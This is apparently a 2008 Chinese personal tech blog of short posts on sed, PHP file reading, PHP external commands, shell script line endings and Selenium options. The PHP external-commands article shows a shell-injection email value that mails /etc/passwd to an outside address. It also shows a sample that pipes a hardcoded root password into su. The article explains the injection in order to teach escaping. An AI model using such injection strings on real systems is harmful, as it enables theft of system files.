博文

ifconfig(2008-9-19 15:32:00)

ifconfig | sed -ne 's/ *inet addr:\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\) *B.*/Your IP is:\1/p'

大家都知道ifconfig是查看IP地址的,但是上面的命令行还是第一次看到,运行一下出来的结果是:

Your IP is:110.22.62.22

论坛上的东西很多啊

不过,SED还不是很通透,上面的命令还得分析一下


阅读全文(235) | 评论:0 | 复制链接

发觉逛技术论坛也是有好处的(2008-9-19 15:15:00)

好多问题是在chinaunix的论坛上找到的。之前很久已经注册了一个,今天上来看看。没想到也收获了技术之外的。

事情是这样的:

一个楼主发帖子说linux无用,他是这样描述的:有个叫朱评温的人、前去拜支离益为老师、潜心学习杀龙的本领。他耗尽了千金的家产,苦心花费了3年时间,终于学成回来。然而,他寻来找去连龙的影子也没见到。他化费了昂贵代价学来的本领,竟没有丝毫用处。然后说自己从大一时开始学,一直没有找到真正的用处。

一楼的只回复了一句:不龟手之药,用之异也。

什么意思,俺不懂。去GOOGLE了,才知道是庄子的一篇文章:有一宋国人,他的家族世世代代漂洗丝絮;祖上传下了这份职业,还有一个药方子,全家就靠这药方子谋生。所谓的“不龟手之药”,大概类似于现在的雪花膏之类,可以防止手被冻皲裂(龟,通“皲”)。一个外地人听说了,便找到他,要以“百金”买下那方子。那宋国人觉得买卖值得做,于是召集全族人商议道:“我们家世世代代漂洗丝絮,没赚几个子儿,现在有人愿意花百金买下药方,咱们把它卖了吧。”那外地人得了那方子,便带着它去游说吴王。也该他走运:那年冬天越国来侵,吴王命他率军迎战。那人靠了“不龟手之药”,在水战中大败越军,于是他得到了封地的大利益。在庄周寓言中,这是个成功的典型。出于庄子<逍遥游>

嘿嘿,够绝吧。问与答都够智慧。

附:龟音为JUN


阅读全文(251) | 评论:0 | 复制链接

线性回归(2008-9-16 11:08:00)

已经很久没有看算法了,了解一下线性回归:

http://cs.nju.edu.cn/yangxc/dcc2003.files/matlab1/matlabcomplex/chapter7/ch7_3_1.htm

下一篇有最小二乘法的介绍:

http://www.programfan.com/blog/article.asp?id=5187


阅读全文(197) | 评论:0 | 复制链接

PHP的open_basedir设置(2008-9-16 10:56:00)

运行PHP脚本时出现了如下错误:

  Warning:   file_exists():   open_basedir   restriction   in   effect.   File(/home/mainwebsite_html/cache/also_purchased-english.cache11548)   is   not   within   the   allowed   path(s):   (/var/web/w0895/:/tmp:/usr/lib/php)   in   /var/web/w0895/html/includes/functions/cache.php   on   line   47

首先在脚本里加上open_basedir设置:#!/home/y/bin/php -d open_basedir= 仍不行

在网上搜查,有三种解决方法,选取了最简单的一种,修改PHP.ini文件中的open_basedir设置

在/home/y下搜索php.ini文件

find ./ -name php.ini

修改open_basedir=./:/tmp,第一个意为在PHP脚本所在的路径和/tmp路径下

运行脚本,OK

 其它三种解决方法如下:http://help.shopex.cn/doc-view-260.html


阅读全文(431) | 评论:0 | 复制链接

AWK 网址(2008-9-12 10:06:00)

http://www.adp-gmbh.ch/unix/awk/index.html

刚刚发现的一个AWK很好的网页


阅读全文(261) | 评论:0 | 复制链接

SH脚本文件产生错误(2008-9-8 17:47:00)

运行脚本文件产生如下错误:: bad interpreter: No such file or directory

解决方法如下:

出现bad interpreter:No such file or directory的原因
是文件格式的问题。这个文件是在Windows下编写的。换行的方式与Unix不一样,但是在VI下面如果不Set一下又完全看不出来。

解决方法:
1、上传到linux主机运行

     chmod +x back

     ./back

    错误提示如下:
    bash: ./back : bad interpreter:No such file or directory

2、错误分析:

因为操作系统是windows,在windows下编辑的脚本,所以有可能有不可见字符。

从你的脚本及报告的错误看来, 很有可能是你的脚本文件是DOS格式的, 即每一行的行尾以\r\n来标识, 其ASCII码分别是0x0D, 0x0A.
可以有很多种办法看这个文件是DOS格式的还是UNIX格式的, 还是MAC格式的
(1). vi filename
然后用命令
:set ff?
可以看到dos或unix的字样. 如果的确是dos格式的, 那么你可以用set ff=unix把它强制为unix格式的, 然后存盘退出. 再运行一遍看.
(2). 用joe filename
如果是DOS格式的, 那么行尾会有很多绿色的^M字样出现. 你也可以用上述办法把它转为UNIX格式的.
(3). 用od -t x1 filename
如果你看到有0d 0a 这样的字符, 那么它是dos格式的, 如果只有0a而没有0d, 那么它是UNIX格式的, 同样可以用上述方法把它转为UNIX格式的.

转换不同平台的文本文件格式可以用
1. unix2dos或dos2unix这两个小程序来做. 很简单. 在djgpp中这两个程序的名字叫dtou和utod, u代表unix, d代表dos
2. 也可以用sed 这样的工具来做:
sed 's/^M//' filename > tmp_filename
mv -f tmp_filename filename
来做
特别说明:^M并不是按键shift + 6产生的^和字母M, 它是一个字符, 其ASCII是0x0D, 生成它的办法是先按CTRL+V, 然后再回车(或CTRL+M)

另外, 当SHELL程序报告command not found时, 总是去检查一下你的PATH里面有没有程序要用到的每一个命令(没指定绝对路径的那种). 你这么小的程序, 可以一行一行核对.

出处:

http://www.52rd.com/Blog/Detail_RD.Blog_wqyuwss_6208.html

我用了方法一即好了


阅读全文(227) | 评论:0 | 复制链接

测试感悟(2008-9-8 16:37:00)

测试感悟

1 从哪里来,到哪里去

  我们测试的时候,要记得每一步从哪里来,到哪里去。站在现在这个点上,向前看知道来路,向后看晓得去处。否则即使发现了问题,还要回想。即使没有问题,也要记得正确结果是什么。否则会一团乱

2 要晓得数据的结果

  对于每一次测试,测试数据是最关键的。要知道错有错的原因,对有对的逻辑,这些东西,要在造测试数据的时候已经想好。不可抓瞎,一团乱

3 要争取流程自动

  对每一次测试,最好的是在测试之前测试脚本、数据、逻辑已经清楚,最中的是在测试过程中边测试边准备脚本、数据,最一般的是在测试完成后补充测试脚本、数据,最差的是一个测试做完就做完了,却不总结,导致下次再测试时,还是从头开始

4 文档要及时

  人的大脑的存储是有限的,而文字的记录却是永恒的。每一次测试后应该整理文档,哪怕开发有自己的开发设计文档,对测试来说,也要自己整理。因为只有自己整理了,才能明白理解的更深透。

5 多多询问

  人都是不完美的。一个人的思路很有限,而多个人的思路是很开放的。因此,自己遇到了什么问题,思路也好,技术也罢,多多问问身边的人。不管是谁,没准谁的哪句话就让你茅塞顿开受益匪浅呢


阅读全文(231) | 评论:0 | 复制链接

PHP读取文件操作(2008-9-2 16:39:00)

PHP读取文件,在google上用此关键字搜索,找到一好文章,CP这里:

传统的 fopen 方法

fopen 方法可能是以前的 C 和 C++ 程序员最熟悉的,因为如果您使用过这些语言,那么它们或多或少都是您已掌握多年的工具。对于这些方法中的任何一种,通过使用 fopen(用于读取数据的函数)的标准方法打开文件,然后使用 fclose 关闭文件,如清单 1 所示。


清单 1. 用 fgets 打开并读取文件

				
$file_handle = fopen("myfile", "r");
while (!feof($file_handle)) {
   $line = fgets($file_handle);
   echo $line;
}
fclose($file_handle);

虽然大多数具有多年编程经验的程序员都熟悉这些函数,但是让我对这些函数进行分解。有效地执行以下步骤:

  1. 打开文件。$file_handle 存储了一个对文件本身的引用。
  2. 检查您是否已到达文件的末尾。
  3. 继续读取文件,直至到达文件末尾,边读取边打印每行。
  4. 关闭文件。

记住这些步骤,我将回顾在这里使用的每个文件函数。

fopen

fopen 函数将创建与文件的连接。我之所以说“创建连接”,是因为除了打开文件之外,fopen 还可以打开一个 URL:

$fh = fopen("http://127.0.0.1/", "r");

这行代码将创建一个与以上页面的连接,并允许您开始像读取一个本地文件一样读取它。

注: fopen 中使用的 "r" 将指示文件以只读方式打开。由于将数据写入文件不在本文的讨论范围内,因此我将不列出所有其他选项。但是,如果是从二进制文件读取以获得跨平台兼容性,则应当将 "r" 更改为 "rb"。稍后您将看到这样的示例。

feof

feof 命令将检测您是否已经读到文件的末尾并返回 True 或 False。清单 1 中的循环将继续执行,直至您达到文件“myfile”的末尾。注:如果读取的是 URL 并且套接字由于不再有任何数据可以读取而超时,则 feof 也将返回 False。

fclose

向前跳至清单 1 的末尾,fclose 将实现与 fopen 相反的功能:它将关闭指向文件或 URL 的连接。执行此函数后,您将不再能够从文件或套接字中读取任何信息。

fgets

在清单 1 中回跳几行,您就到达了文件处理的核心:实际读取文件。fgets 函数是处理第一个示例的首选武器。它将从文件中提取一行数据并将其作为字符串返回。在那之后,您可以打印或者以别的方式处理数据。清单 1 中的示例将精细地打印整个文件。

如果决定限制处理数据块的大小,您可以将一个参数添加到 fgets 中限制最大行长度。例如,使用以下代码将行长度限制为 80 个字符:

$string = fgets($file_handle, 81);

回想 C 中的“\0”字符串末尾终止符,将长度设为比实际所需值大一的数字。因而,如果需要 80 个字符,则以上示例使用 81。应养成以下习惯:只要对此函数使用行限制,就添加该额外字符。

fread

fgets 函数是多个文件读取函数中惟一一个可用的。它是一个更常用的函数,因为逐行解析通常会有意义。事实上,几个其他函数也可以提供类似功能。但是,您并非总是需要逐行解析。

这时就需要使用 freadfread 函数与 fgets 的处理目标略有不同:它趋于从二进制文件(即,并非主要包含人类可阅读的文本的文件)中读取信息。由于“行”的概念与二进制文件无关(逻辑数据结构通常都不是由新行终止),因此您必须指定需要读入的字节数。

$fh = fopen("myfile", "rb");
$data = fread($file_handle, 4096);

使用二进制数据

注意:此函数的示例已经使用了略微不同于 fopen 的参数。当处理二进制数据时,始终要记得将 b 选项包含在 fopen 中。如果跳过这一点,Microsoft® Windows® 系统可能无法正确处理文件,因为它们将以不同的方式处理新行。如果处理的是 Linux® 系统(或其他某个 UNIX® 变种),则这可能看似没什么关系。但即使不是针对 Windows 开发的,这样做也将获得良好的跨平台可维护性,并且也是应当遵循的一个好习惯。

以上代码将读取 4,096 字节 (4 KB) 的数据。注:不管指定多少字节,fread 都不会读取超过 8,192 个字节 (8 KB)。

假定文件大小不超过 8 KB,则以下代码应当能将整个文件读入一个字符串。

$fh = fopen("myfile", "rb");
$data = fread($fh, filesize("myfile"));
fclose($fh);

如果文件长度大于此值,则只能使用循环将其余内容读入。

fscanf

回到字符串处理,fscanf 同样遵循传统的 C 文件库函数。如果您不熟悉它,则 fscanf 将把字段数据从文件读入变量中。

list ($field1, $field2, $field3) = fscanf($fh, "%s %s %s");

此函数使用的格式字符串在很多地方都有描述(如 PHP.net 中),故在此不再赘述。可以这样说,字符串格式化极为灵活。值得注意的是所有字段都放在函数的返回值中。(在 C 中,它们都被作为参数传递。)

fgetss

fgetss 函数不同于传统文件函数并使您能更好地了解 PHP 的力量。该函数的功能类似于 fgets 函数,但将去掉发现的任何 HTML 或 PHP 标记,只留下纯文本。查看如下所示的 HTML 文件。


清单 2. 样例 HTML 文件

				
<html>
    <head><title>My title</title></head>
    <body>
        <p>If you understand what "Cause there ain't no one for to give you no pain"
            means then you listen to too much of the band America</p>
    </body>
</html>

然后通过 fgetss 函数过滤它。


清单 3. 使用 fgetss

				
$file_handle = fopen("myfile", "r");
while (!feof($file_handle)) {
   echo = fgetss($file_handle);
}
fclose($file_handle);

以下是输出:

    My title

        If you understand what "Cause there ain't no one for to give you no pain"
            means then you listen to too much of the band America

fpassthru 函数

无论怎样读取文件,您都可以使用 fpassthru 将其余数据转储到标准输出通道。

fpassthru($fh);

此外,此函数将打印数据,因此无需使用变量获取数据。

非线性文件处理:跳跃访问

当然,以上函数只允许顺序读取文件。更复杂的文件可能要求您来回跳转到文件的不同部分。这时就用得着 fseek 了。

fseek($fh, 0);

以上示例将跳转回文件的开头。如果不需要完全返回 —— 我们可设定返回千字节 —— 然后就可以这样写:

fseek($fh, 1024);

从 PHP V4.0 开始,您有一些其他选项。例如,如果需要从当前位置向前跳转 100 个字节,则可以尝试使用:

fseek($fh, 100, SEEK_CUR);

类似地,可以使用以下代码向后跳转 100 个字节:

fseek($fh, -100, SEEK_CUR);

如果需要向后跳转至文件末尾前 100 个字节处,则应使用 SEEK_END

fseek($fh, -100, SEEK_END);

在到达新位置后,可以使用 fgetsfscanf 或任何其他方法读取数据。

注:不能将 fseek 用于引用 URL 的文件处理。





回页首


提取整个文件

现在,我们将接触到一些 PHP 的更独特的文件处理功能:用一两行处理大块数据。例如,如何提取文件并在 Web 页面上显示其全部内容?好的,您看到了 fgets 使用循环的示例。但是如何能够使此过程变得更简单?用 fgetcontents 会使过程超级简单,该方法将把整个文件放入一个字符串中。

$my_file = file_get_contents("myfilename");
echo $my_file;

虽然它不是最好的做法,但是可以将此命令更简明地写为:

echo file_get_contents("myfilename");

本文主要介绍的是如何处理本地文件,但是值得注意的是您还可以用这些函数提取、回显和解析其他 Web 页面。

echo file_get_contents("http://127.0.0.1/");

此命令等效于:

$fh = fopen("http://127.0.0.1/", "r");
fpassthru($fh);

您一定会查看此命令并认为:“那还是太费力”。PHP 开发人员同意您的看法。因此可以将以上命令缩短为:

readfile("http://127.0.0.1/");

readfile 函数将把文件或 Web 页面的全部内容转储到默认的输出缓冲区。默认情况下,如果失败,此命令将打印错误消息。要避免此行为(如果需要),请尝试:

@readfile("http://127.0.0.1/");

当然,如果确实需要解析文件,则 file_get_contents 返回的单个字符串可能有些让人吃不消。您的第一反应可能是用 split() 函数将它分解一下。

$array = split("\n", file_get_contents("myfile"));

但是既然已经有一个很好的函数为您执行此操作为什么还要这样大费周章?PHP 的 file() 函数一步即可完成此操作:它将返回分为若干行的字符串数组。

$array = file("myfile");

应当注意的是,以上两个示例有一点细微差别。虽然 split 命令将删除新行,但是当使用 file 命令(与 fgets 命令一样)时,新行仍将被附加到数组中的字符串上。

但是,PHP 的力量还远不止于此。您可以在一条命令中使用 parse_ini_file 解析整个 PHP 样式的 .ini 文件。parse_ini_file 命令接受类似清单 4 所示的文件。


清单 4. 样例 .ini 文件

				
; Comment
[personal information]
name = "King Arthur"
quest = To seek the holy grail
favorite color = Blue

[more stuff]
Samuel Clemens = Mark Twain
Caryn Johnson = Whoopi Goldberg

以下命令将把此文件转储为数组,然后打印该数组:

$file_array = parse_ini_file("holy_grail.ini");
print_r $file_array;

以下输出的是结果:


Listing 5. 输出

				
Array
(
    [name] => King Arthur
    [quest] => To seek the Holy Grail
    [favorite color] => Blue
    [Samuel Clemens] => Mark Twain
    [Caryn Johnson] => Whoopi Goldberg
)

当然,您可能注意到此命令合并了各个部分。这是默认行为,但是您可以通过将第二个参数传递给 parse_ini_file 轻松地修正它:process_sections,这是一个布尔型变量。将 process_sections 设为 True。

$file_array = parse_ini_file("holy_grail.ini", true);
print_r $file_array;

并且您将获得以下输出:


清单 6. 输出

				
Array
(
    [personal information] => Array
        (
            [name] => King Arthur
            [quest] => To seek the Holy Grail
            [favorite color] => Blue
        )

    [more stuff] => Array
        (
            [Samuel Clemens] => Mark Twain
            [Caryn Johnson] => Whoopi Goldberg
        )

)

PHP 将把数据放入可以轻松解析的多维数组中。

对于 PHP 文件处理来说,这只是冰山一角。诸如 tidy_parse_filexml_parse 之类的更复杂的函数可以分别帮助您处理 HTML 和 XML 文档。有关这些特殊函数的使用细节,请参阅 参考资料。如果您要处理那些类型的文件,则那些参考资料值得一看,但不必过度考虑本文中谈到的每种可能遇到的文件类型,下面是一些用于处理到目前为止介绍的函数的很好的通用规则。





回页首


最佳实践

绝不要假定程序中的一切都将按计划运行。例如,如果您要查找的文件已被移动该当如何?如果权限已被改变而无法读取其内容又当如何?您可以通过使用 file_existsis_readable 预先检查这些问题。


清单 7. 使用 file_exists 和 is_readable

				
$filename = "myfile";
if (file_exists($filename) && is_readable ($filename)) {
	$fh = fopen($filename, "r");
	# Processing
	fclose($fh);
}

但是,在实践中,用这样的代码可能太繁琐了。处理 fopen 的返回值更简单并且更准确。

if ($fh = fopen($filename, "r")) {
	# Processing
	fclose($fh);
}

由于失败时 fopen 将返回 False,这将确保仅当文件成功打开后才执行文件处理。当然,如果文件不存在或者不可读,您可以期望一个负返回值。这将使这个检查可以检查所有可能遇到的问题。此外,如果打开失败,可以退出程序或让程序显示错误消息。

fopen 函数一样,file_get_contentsfilereadfile 函数都在打开失败或处理文件失败时返回 False。fgetsfgetssfreadfscanffclose 函数在出错时也返回 False。当然,除 fclose 以外,您可能已经对这些函数的返回值都进行了处理。使用 fclose 时,即使文件处理未正常关闭,也不会执行什么操作,因此通常不必检查 fclose 的返回值。





回页首


由您来选择

PHP 不缺读取和解析文件的有效方法。诸如 fread 之类的典型函数可能在大多数时候都是最佳的选择,或者当 readfile 刚好能满足任务需要时,您可能会发现自己更为 readfile 的简单所吸引。它实际上取决于所要完成的操作。

如果要处理大量数据,fscanf 将能证明自己的价值并比使用 file 附带 splitsprintf 命令更有效率。相反,如果要回显只做了少许修改的大量文本,则使用 filefile_get_contentsreadfile 可能更合适。使用 PHP 进行缓存或者创建权宜的代理服务器时可能就属于这种情况。

PHP 给您提供了大量处理文件的工具。深入了解这些工具并了解哪些工具最适合于要处理的项目。您已拥有很多的选择,因此好好地利用它们享受使用 PHP 处理文件的乐趣。


出处:http://www.ibm.com/developerworks/cn/opensource/os-php-readfiles/index.html


阅读全文(298) | 评论:0 | 复制链接

PHP执行外部命令(2008-9-1 15:00:00)

出处:http://www.enet.com.cn/article/2004/0928/A20040928348185.shtml

PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。

  那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。

  是否可以?

  答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。

  前提条件

  由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

  执行外部命令

  在打开文件时有些限制

  连接MySQL数据库

  基于HTTP的认证

  在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。

  如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

  如何做?

  在PHP中调用外部命令,可以用如下三种方法来实现:

  1) 用PHP提供的专门函数

  PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。

  system()

  原型:string system (string command [, int return_var])

  system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

  例子:

  
  system("/usr/local/bin/webalizer/webalizer");

  ?>

  exec()

  原型:string exec (string command [, string array [, int return_var]])

  exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。

  例子:

  
  exec("/bin/ls -l");

  exec("/bin/ls -l", $res);

  #$res是一个数据,每个元素代表结果的一行

  exec("/bin/ls -l", $res, $rc);

  #$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0

  ?>

  passthru()

  原型:void passthru (string command [, int return_var])

  passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

  例子:

  
  header("Content-type: image/gif");

  passthru("./ppmtogif hunte.ppm");

  ?>

  2) 用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

  popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。

  例子1:

  
  $fp=popen("/bin/ls -l", "r");

  ?>

  例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):

  
  /* PHP中如何增加一个系统用户

  下面是一段例程,增加一个名字为james的用户,

  root密码是 verygood。仅供参考

  */

  $sucommand = "su --login root --command";

  $useradd = "useradd ";

  $rootpasswd = "verygood";

  $user = "james";

  $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);

  $fp = @popen($user_add,"w");

  @fputs($fp,$rootpasswd);

  @pclose($fp);

  ?>

  3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

  这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

  
  $res=`/bin/ls -l`;

  echo '

'.$res.'

';

  ?>

  这个脚本的输出就象:

  hunte.gif

  hunte.ppm

  jpg.htm

  jpg.jpg

  passthru.php

  要考虑些什么?

  要考虑两个问题:安全性和超时。

  先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:

  
  system("mail $to < products.txt");

  echo "我们的产品目录已经发送到你的信箱:$to";

  ?>

  用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

  '--bla ; mail someone@domain.com < /etc/passwd ;'

  那么这条命令最终变成:

  'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

  我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

  幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。

  再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中.


阅读全文(333) | 评论:0 | 复制链接

selenium server的一些option(2008-9-1 13:51:00)

Usage: java -jar selenium-server.jar [-interactive] [options]

  • -port <nnnn>: the port number the selenium server should use (default 4444)
  • -timeout <nnnn>: an integer number of seconds before we should give up
  • -interactive: puts you into interactive mode. See the tutorial for more details
  • -multiWindow: puts you into a mode where the test web site executes in a separate window, and selenium supports frames
  • -forcedBrowserMode <browser>: sets the browser mode (e.g. "*iexplore" for all sessions, no matter what is passed to getNewBrowserSession
  • -userExtensions <file>: indicates a JavaScript file that will be loaded into selenium
  • -browserSessionReuse: stops re-initialization and spawning of the browser between tests
  • -avoidProxy: By default, we proxy every browser request; set this flag to make the browser use our proxy only for URLs containing '/selenium-server'
  • -firefoxProfileTemplate <dir>: normally, we generate a fresh empty Firefox profile every time we launch. You can specify a directory to make us copy your profile directory instead.
  • -debug: puts you into debug mode, with more trace information and diagnostics
  • -log: writes lots of debug information out to a log file
  • -htmlSuite <browser> <startURL> <suiteFile> <resultFile>: Run a single HTML Selenese (Selenium Core) suite and then exit immediately, using the specified browser (e.g. "*firefox") on the specified URL (e.g. "http://www.google.com"). You need to specify the absolute path to the HTML test suite as well as the path to the HTML results file we'll generate.
  • -proxyInjectionMode: puts you into proxy injection mode, a mode where the selenium server acts as a proxy server for all content going to the test application. Under this mode, multiple domains can be visited, and the following additional flags are supported:
    • -dontInjectRegex <regex>: an optional regular expression that proxy injection mode can use to know when to bypss injection
    • -userJsInjection <file>: specifies a JavaScript file which will then be injected into all pages
    • -userContentTransformation <regex> <replacement>: a regular expression which is matched against all test HTML content; the second is a string which will replace matches. These flags can be used any number of times. A simple example of how this could be useful: if you add "-userContentTransformation https http" then all "https" strings in the HTML of the test application will be changed to be "http".

We also support two Java system properties: -Dhttp.proxyHost and -Dhttp.proxyPort. Selenium RC normally overrides your proxy server configuration, using the Selenium Server as a proxy. Use these options if you need to use your own proxy together with the Selenium Server proxy. Use the proxy settings like like this:

java -Dhttp.proxyHost=myproxy.com -Dhttp.proxyPort=1234 -jar selenium-server.jar
If your HTTP proxy requires authentication, you will also need to set -Dhttp.proxyUser and -Dhttp.proxyPassword, in addition to http.proxyHost and http.proxyPort.

java -Dhttp.proxyHost=myproxy.com -Dhttp.proxyPort=1234 -Dhttp.proxyUser=joe -Dhttp.proxyPassword=example -jar selenium-server.jar

 

出处:http://selenium-rc.openqa.org/options.html


阅读全文(432) | 评论:0 | 复制链接